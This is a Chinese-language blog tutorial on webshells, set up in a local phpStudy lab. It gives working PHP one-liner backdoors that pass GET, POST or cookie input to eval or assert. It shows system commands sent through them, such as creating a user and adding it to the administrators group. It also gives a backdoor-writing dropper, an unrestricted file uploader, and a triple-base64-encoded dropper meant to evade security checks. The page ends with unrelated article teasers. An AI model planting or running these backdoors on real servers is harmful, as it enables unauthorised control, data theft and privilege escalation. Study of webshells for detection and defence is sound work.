Webshell(网页后门)

news2025/1/16 11:08:55

数据来源

        本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。  

一、Webshell简介 

01 什么是 Webshell

        webshell是以 asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境 · 也可以得其称做为种网页木马后门。

        攻击者可通过这种网页后门获得网站服务器作权限 · 控制网站服务器以进行上传下载文件、查看数据库、执行命令等...

02 什么是木马 

        木马:全称“特洛伊木马( Trojan Horse)” · 指寄宿在计算机里的一种非授权的远程控制程序 · 它可以在计算机管理员未发觉的情况下 · 开放系统权限 · 泄露用户信息给攻击者 · 是黑客常用的工具之。

03 什么是后门

        后门:一台计算机上有65535个端口 · 每个端口是计算机与外界连接所开的“门” · 每个门都有计算机提供的一些服务 · 攻击者利用这些服务·获取服务器的权限 · 给自己进入计算机留下一个后门

04 Webshell的分类

1. 根据文件大小分类:

  • 一句话木马:代码简短 · 通常只有一行代码 · 使用方便
  • 小马:只包含文件上传功能 · 体积小
  • 大马:体积大 · 包含很多功能 · 代码通常会进行加密隐藏

2. 根据脚本类型分类:

  • jsp
  • asp
  • aspx
  • php

05 Webshelt特点

  • 1. webshell大多以动态脚本形式出现
  • 2. webshel就是一个asp或php木马后门
  • 3. webshello可以穿越服务器防火墙 · 攻击者与被控服务器交换数据都是通过80端口传递
  • 4. webshe一般不会在系统日志中留下记录 · 只会在web日志中留下数据传递记录 

06 webshell攻击流程

  1. 利用web漏洞获取web权限
  2. 上传小马
  3. 上传大马
  4. 远程调用 webshell 执行命令 

07 常见 Webshell

eval函数:把字符串当成代码执行

$_POST[ ]:以POST的形式传递数据给PHP页面

1. $_GET:

用来获取由浏览器通过GET方法提交的数据。

GET方法他是通过把参数数加在提交表单的 action 属性所指的URL中,值和表单内每个字一一对应,然后在URL中可以看到,但是有如下缺点:

  1. 安全性不好,在URL中可以看得到
  2. 传送数量较小,不得大于2KB

2. $_POST

用来获取由浏览器通过POST方法提交的数据

POST方法他是通过HTTP POST机制,将表单的各个字段放置在HTTP HEADER内一起传到acton属性所指的URL地址中,用户看不到这个过程。

他提交的大小一般来说不受限,但是具体根据务器的不同,还是略有不同,相对于_GET方式安全性略高。 

二、Webshell基本原理

01 基本原理

1. 可执行脚本

        HTTP数据包($_GET、$_POST、$_COOKIES)

2. 数据传递

3. 执行传递的数据

  • 直接执行(eval、system、passthru)
  • 文件包含执行(include、require)
  • 动态函数执行($a= "phpinfo" ;$a(); )
  • 回调函数 (array_map等)
  • ......

02 常见 php webshell 

        注意:下面介绍的一句话代码很容易被电脑自带的杀毒功能查杀,如果要实验可以关闭病毒查杀功能,如果要免杀自行百度查看教程。

 演示:

以GET的方式传递:

        1)下载、安装phpstudy并启动(安装过程可以一路下一步,也可以改安装路径)    http://public.xp.cn/upgrades/PhpStudy2018.zip

         2)打开安装目录下的WWW文件夹

        3)在桌面新建一个文本文档,把原来的txt的后缀名改为php文件名称随便写,并以记事本的方式打开把代码粘贴进去保存,然后把文件拉到www文件夹下。

<?php @eval($_GET["pass"]);?>

        4)在浏览器中输入:http://127.0.0.1/get.php  访问 ,没报错就是成功了

        5)在网页的lURL路径后面加上:?pass=phpinfo();    就可以打开phpinfo()页面(里面包含一些PHP的版本、扩展之类的信息)

        6)如果受害者是windos系统,我们可以直接在URL指定win的DOS命令,把URL路径的phpinfo()改成system(),括号内可以写上DOS命令如:ipconfig  # 查看ip地址的基本信息net user  用户名    密码   /add  # 新建用户,验证 net user 查看用户列表,   net localgroup  组名   用户名    /add    # 添加用户到组,如加入到管理员组就会有管理员权限:Administrator

以POST的方式传递:

        1)和上面的步骤一样在桌面创建一个PHP文件把代码粘贴进去然后再拉到www文件夹加,在浏览器中访问

<?php @eval($_POST["pass"]);?>

        2)这里使用Burpsuite软件进行抓包演示

或者 使用windows系统自带的功能进行代理

        3)开始抓包

        4)抓到的数据包的请求方法默认是GET,我们这里要测试POST请求所以这里要改一下 

        5)通过post的方式进行数据请求

        查看phpinfo页面:

pass=phpinfo();

        不过上面这个回显看起来让人头大,我们可以选择“Render”呈现展示那些代码在Web上显示的样子

        6)在POST请求方法内一样可以跟GET方法一样执行一些系统命令,通过system()函数

        如:ipconfig 查看ip信息

pass=system('ipconfig');

        7)解决用Burpsuite发包中文乱码的问题(参考:快速解决BurpSuite中文乱码问题....-百度经验)

重新发包 

Cookie的方式

assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动

如assertion 是字符串,它将会被assert()当做PHP代码来执行

示例:

        跟上面的步骤一样创建一个PHP文件把代码粘贴进去并访问,建议在WWW文件夹加创建一个名为Webshell的文件夹,把这些有关于 Webshell的后门文件都放在里面进行分类方便以后寻找。

<?php @$a = $_COOKIE[1];$b ='';$c='';@assert($b.$a);?>

        这里使用中国菜刀打开文件(这个菜刀软件找了一天,下载很多版本都无法正常使用,这个版本是包含源码和可运行文件,很多人写的文章都是只有使用教程没有软件下载链接,你们以后攻击别人电脑被捕了,千万不要说是用我的链接下载的攻击工具)

Cookie: 1=eval($_POST['cmd'])

03 一句话写马小马

        fputs是一个函数,具有的功能是向指定的文件写入一个字符串

        fopen 其功能是使用给定的模式 mode 打开 filename 所指向的文件。文件顺利打开后,指向该流的文件指针就会被返回。如果文件打开失败则返回 NULL,并把错误代码存在 error 中

        fopen函数的功能是打开一个文件,其调用的一般形式为:(来源)

文件指针名=fopen(文件名,使用文件方式)。

        "w" = “wt”:新建一个文本文件,已存在的文件将内容清空,只允许写

下面这句代码的意思是创建一个up.php文件,文件的内容是:<?php eval($_POST["cmd"])?>

<?php fputs(fopen("up.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>

示例:

        创建一个php文件,我这里的文件名是fputs

在浏览器中访问我们的木马文件 

我们真正的目的就是通过一句话木马上传我们的将要生成的up.php文件的内容改成下面的小马代码就好了,我这里为了方便直接将up.php文件的内容改成下面的(代码来源)

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			// 判断 content-type 的类型,如果是image/png则通过
			#if($_FILES['upload_file']['type'] == 'image/png/php/txt')
			#{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
				if (move_uploaded_file($temp_file, $img_path))
					echo "上传完成.";
				else
					echo "上传出错.";
			#}
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="upload">
    </form>
</body>

为了避开一些安全检查,我们可以把代码转换成base64字符串,我这里是使用小葵进行字符转换,也可以在百度搜索在线的字符转换工具。

新建一个把下面代码粘贴进去:base64.php

base64_decode() 这函数是PHP解密base64字符串的函数,文件内容的加密前两次加密后一直有特殊字符,所以这里加密了三次,解密使用的base64_decode()也使用了三次

<?php fputs(fopen(base64_decode(cXEucGhw),"w"),base64_decode(base64_decode(base64_decode(VUVRNWQyRklRVTVEWjJ4dldsZEdhMXBZU1c5SmEwNTJZbTVTYkdKdVVYUmtTR3gzV2xSdloyUkhWalJrUXpsdlpFY3hjMDh5VG05WldFcDZXbGhST1dSWVVtMU1WR2RwUzFSelRrTm5iR3RhVjFwd1ltMVZiMGxzVmxGVVJUbENVa1k1VVZGV1VrbEphWGRuU1drMGRrbHBhemRFVVc5T1EyZHNjRnBwYUhCak0wNXNaRU5uYTFneFFsQlZNVkppU2pOT01WbHRNWEJrUTJSa1MxTnJUa05uYkRkRVVXOUtRMWRzYlV0SFduQmlSMVptV2xob2NHTXpVbnBMUmxaUlZFVTVRbEpHT1ZGUlZsSkpTMU5yVGtObmEwcGxkekJMUTFGclNreDVPR2Q0WkVNeWVubENhbUl5TlRCYVZ6VXdURmhTTldOSFZXZDBZMVJCTkU1RVRreE5hbTUxWm5aTGVESnNkRmxYWkd4TU0wSjFXamxVZVhwaGFUVXZVVEJMUTFGclNra3liRzFMUTFKbVVtdHNUVkpXVG1KS00xWjNZa2M1YUZwR09XMWhWM2hzU2pFeFlrb3pValZqUjFWdVdGTkJPVkJUUVc1aFZ6Rm9XakpWZG1OSE5XNU1NMEp2WTBNNU1HVklVVzVMVVRCTFExRnJTa2t6YzA1RFoydEtRMUZyYTJSSFZuUmpSamx0WVZkNGJFbEVNR2RLUmpsSFUxVjRSbFV4YzI1a1dFSnpZakpHYTFneVduQmlSMVZ1V0ZaemJtUkhNWGRZTWpWb1lsZFZibGhVYzA1RFoydEtRMUZyYTJGWE1XNVlNMEpvWkVkbloxQlRRbFpWUlhoUVVWVlNabFZGUmxWVFEwRjFTVU5qZGtwNVFYVkpRMUptVW10c1RWSldUbUpLTTFaM1lrYzVhRnBHT1cxaFYzaHNTakV4WWtveU5XaGlWMVZ1V0ZSelRrTm5hMHBEVVd4d1dtbEJiMkpYT1RKYVZqa3hZMGQ0ZGxsWFVteGFSamx0WVZkNGJFdERVakJhVnpGM1dESmFjR0pIVlhOSlExSndZbGRrWm1OSFJqQmhRMnR3UkZGdlNrTlJhMHBEVjFacVlVYzRaMGx6YmxCMFMzWk9ObkpRU2t4cFNUZEVVVzlLUTFGclNscFhlSHBhVVRCTFExRnJTa05SYkd4Wk1taDJTVU5NU25vM1UzSnpMMkV3TjFNMGFVOTNNRXREVVd0S1NUTXdUa05uYTBwbVVUQkxRMWd3VGtOcU9DdEVVVzlPUTJwNGFXSXlValZRWnpCTFExUjRiV0l6U25SSlIxWjFXVE5TTldOSFZUbEpiVEV4WWtoU2NHTkhSbmxrUXpsdFlqTktkRXhYVW1oa1IwVnBTVWN4YkdSSGFIWmFSREJwWTBjNWVtUkRTU3RFVVc5blNVTkJaMGxEUVdkSlJIaHdZbTVDTVdSRFFtcGlSMFo2WTNvd2FXRlhOWGRrV0ZKbVdtMXNjMXBUU1dka1NHeDNXbFF3YVZwdGJITmFVMGxuWW0xR2RGcFVNR2xrV0VKellqSkdhMWd5V25CaVIxVnBVR2N3UzBsRFFXZEpRMEZuU1VOQk9HRlhOWGRrV0ZGbldUSjRhR016VFRsSmJVb3haRWhTZG1KcFNXZGtTR3gzV2xRd2FXTXpWbWxpVjJ3d1NXbENkVmxYTVd4UVUwcDZaRmRLZEdGWVVXbEpTRnBvWWtoV2JGQlRTakZqUjNoMldWZFJhVkJuTUV0SlEwRm5TVVIzZGxwdE9YbGlWRFJPUTJwM2RsbHRPV3RsVkRST1EyYzlQUT09)))); 
?>

浏览器访问base64.php之后就会生成一个qq.php文件,里面的内容和up.php是一样的

可以在浏览器中访问qq.php

04 小马上传大马(请勿用于非法用途,后果作者概不负责!

大马链接(代码来源)

Webshell管理工具介绍(第三个工具weevely3在kali中是自带的不用安装)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/178433.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构与算法】第十九篇:回溯,剪枝,N皇后问题

知识导航一、回溯思想概述二、八皇后问题引入八皇后问题的解决思路(1)思路一&#xff1a;暴力出奇迹(2&#xff09;思路二&#xff1a;根据题意减小暴力程度(3&#xff09;思路三&#xff1a;回溯法剪枝三、四皇后问题八皇后问题四、N皇后的实现1.实现方法一&#xff1a;利用数…

程序员的自我修养第七章——动态链接 (上)

继续更新《程序员的自我修养》这个系列&#xff0c;主要是夏天没把它看完&#xff0c;补上遗憾。本篇来自书中第七章。 再说动态链接前&#xff0c;我们先阐明为什么要动态链接&#xff1a; 动态链接的产生来自静态链接的局限性。随着静态链接的发展&#xff0c;其限制也越来越…

十二、创建和管理表

文章目录一、基础知识1.1 一条数据存储的过程1.2 标识符命名规则1.3 数据类型及数据库操作二、创建表三、查看表结构3.1 使用 SHOW COLUMNS 语句查看3.2 使用 DESCRIBE 语句查看3.3 查看表详细结构语句 SHOW CREATE TABLE四、修改表结构4.1 添加新字段和修改字段定义4.2 修改字…

用户画像增量更新系列二

进行用户日志数据处理 原始日志数据 结果: 思路&#xff1a;按照user_id的行为一条条处理&#xff0c;根据用户的行为类型判别。 由于sqlDF每条数据可能会返回多条结果&#xff0c;我们可以使用rdd.flatMap函数或者yield 格式&#xff1a;["user_id", "action…

总结:计算机中字符串比较大小的规则

总结&#xff1a;计算机中字符串比较大小的规则一背景&#xff1a;二Unicode编码表&#xff1a;字符越靠后&#xff0c;对应的十进制值越大三单个字符之间比较规则&#xff1a;四案例演示&#xff1a;单个字符与单个字符之间比较大小1.前提&#xff1a;汉字“一”与汉字“万”&…

Elasticsearch:Elasticsearch percolate 查询

Elasticsearch 通常如何工作&#xff1f; 我们将文档索引到 Elasticsearch 中并对其运行查询以获得满足提供的搜索条件的文档。 我们构造一个匹配或术语查询作为输入&#xff0c;匹配查询的文档作为结果返回。 但这不是 percolate query 的情况..... 让我们看看这篇文章中的 p…

10.Java方法学习知识点大全

文章目录前言一、什么是方法1.什么是方法?2.实际开发中,什么时候用到方法?3.实际开发中,方法有什么好处?二、最简单的方法定义和调用1.方法的格式2.方法的调用3.看代码说结果4.为什么要有带参数的方法呢?三、带参数的方法定义和调用1.带参数的方法定义和调用2.形参和实参3.…

NuSphere PhpED Pro 19.5 Crack

PhpED是PHP&#xff08;PHP IDE&#xff09;&#xff0c;HTML&#xff0c;CSS&#xff0c;XML&#xff0c;SMARTY&#xff0c;XHTML等的I ntegated Development Environment。 高级代码编辑器、可靠的 dbg 调试器、高效的数据库连接客户端以及快速安全的部署能力的平衡组合使 P…

90. 注意力分数及代码实现

1. 注意力分数 2. 拓展到高维度 3. Additive Attention ps&#xff1a; 这种的好处是&#xff0c;key&#xff0c;value&#xff0c;query的长度可以不一样 4. Scaled Dot-Product Attention n个query&#xff0c;m个key-value 对最后的结果是n x m的矩阵&#xff0c;第i行就表…

LeetCode[684]冗余连接

难度&#xff1a;中等题目&#xff1a;树可以看成是一个连通且 无环 的 无向 图。给定往一棵 n个节点 (节点值 1&#xff5e;n) 的树中添加一条边后的图。添加的边的两个顶点包含在 1到 n中间&#xff0c;且这条附加的边不属于树中已存在的边。图的信息记录于长度为 n的二维数组…

Python 压缩 css 文件,第三方模块推荐

本篇博客为大家详细介绍一下如何在 Python 中压缩 CSS 文件。 正式开始前&#xff0c;需要准备一个未压缩过的 CSS 文件。 Python 压缩 csscsscompressor 库使用在 Flask 中压缩 css 文件cssmin 库的用法rcssmin 库的用法总结csscompressor 库使用 在 Python 中可以使用多种方…

CSS之浮动以及清除浮动的几种方式

一. 什么是 CSS Float&#xff08;浮动&#xff09; CSS 的 Float&#xff08;浮动&#xff09;&#xff0c;会使元素向左或向右移动&#xff0c;其周围的元素也会重新排列。 Float&#xff08;浮动&#xff09;&#xff0c;往往是用于图像&#xff0c;但它在布局时一样非常有…

【大数据管理】Java实现字典树TireTree

实现字典树&#xff0c;支持插入和删除&#xff0c;能够打印每一层的数据示例数据“SJ”, “SHJ”, “SGYY”,"HGL" ,将这些数据插入前缀树&#xff0c;打印树&#xff0c;修改SHZ为SHHZ 解题思路 Trie树即字典树&#xff0c;又称单词查找树或键树&#xff0c;是一…

Linux下进程控制详解

目录 一、进程创建 1.1 初识fork 1.2 函数返回值 1.3 写时拷贝技术 1.4 fork函数的使用场景 1.5 fork函数的失败原因 二、进程终止 2.1 进程退出场景 2.2 进程退出码 2.3 进程正常退出方法 2.3.1 exit函数 2.3.2 _exit函数 2.3.3 return方法 2.3.4 方法分析对比 …

【LINUX修行之路】——工具篇gcc/g++的使用和自动化构建工具make/makefile

学习范围&#xff1a;✔️LINUX ✔️ gcc/g✔️make/makefile作者 &#xff1a;蓝色学者 文章目录一、前言二、概念什么是gcc/g&#xff1f;什么是make/makefile&#xff1f;三、教程3.1gcc/g命令3.2make/makefile依赖关系依赖方法编写makefile文件四、资源一、前言 欢迎大家来…

谷粒学院——Day20【项目总结】

❤ 作者主页&#xff1a;欢迎来到我的技术博客&#x1f60e; ❀ 个人介绍&#xff1a;大家好&#xff0c;本人热衷于Java后端开发&#xff0c;欢迎来交流学习哦&#xff01;(&#xffe3;▽&#xffe3;)~* &#x1f34a; 如果文章对您有帮助&#xff0c;记得关注、点赞、收藏、…

计算机组成原理实验-logisim实现自动售糖机

一.作业内容; 二.设计分析&#xff1a; 首先我们先确定输入和输出&#xff0c;根据题目的提示很明显可以看出因为每次可以投入10元或者5元硬币&#xff0c;当总钱数达到15元或者超过15元的时候&#xff0c;自动出糖&#xff0c;并且机器不找零&#xff0c;所以可以看出最大的钱…

基于 V2G 技术的电动汽车实时调度策略(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

第九层(2):STL之string类

文章目录前情回顾string类string类的本质string与char*的区别string类的特点string类的构造函数string类内的字符串追加函数string类内的字符串查找函数string类内的字符串替换函数string类内的字符串比较函数string类内的字符单个访问函数string类内的插入函数string类内的删除…

最小化最大值+拓扑排序要点+概率

今天嫖来的两道题&#xff1a; D.ScoreofaTreeD. Score of a TreeD.ScoreofaTree E.EdgeReverseE. Edge ReverseE.EdgeReverse DDD题是比较离谱的一道题&#xff0c;你在做的时候好像是dp&#xff0c;但是选择的情况太多了&#xff0c;其实对于每一个节点来说&#xff0c;除了叶…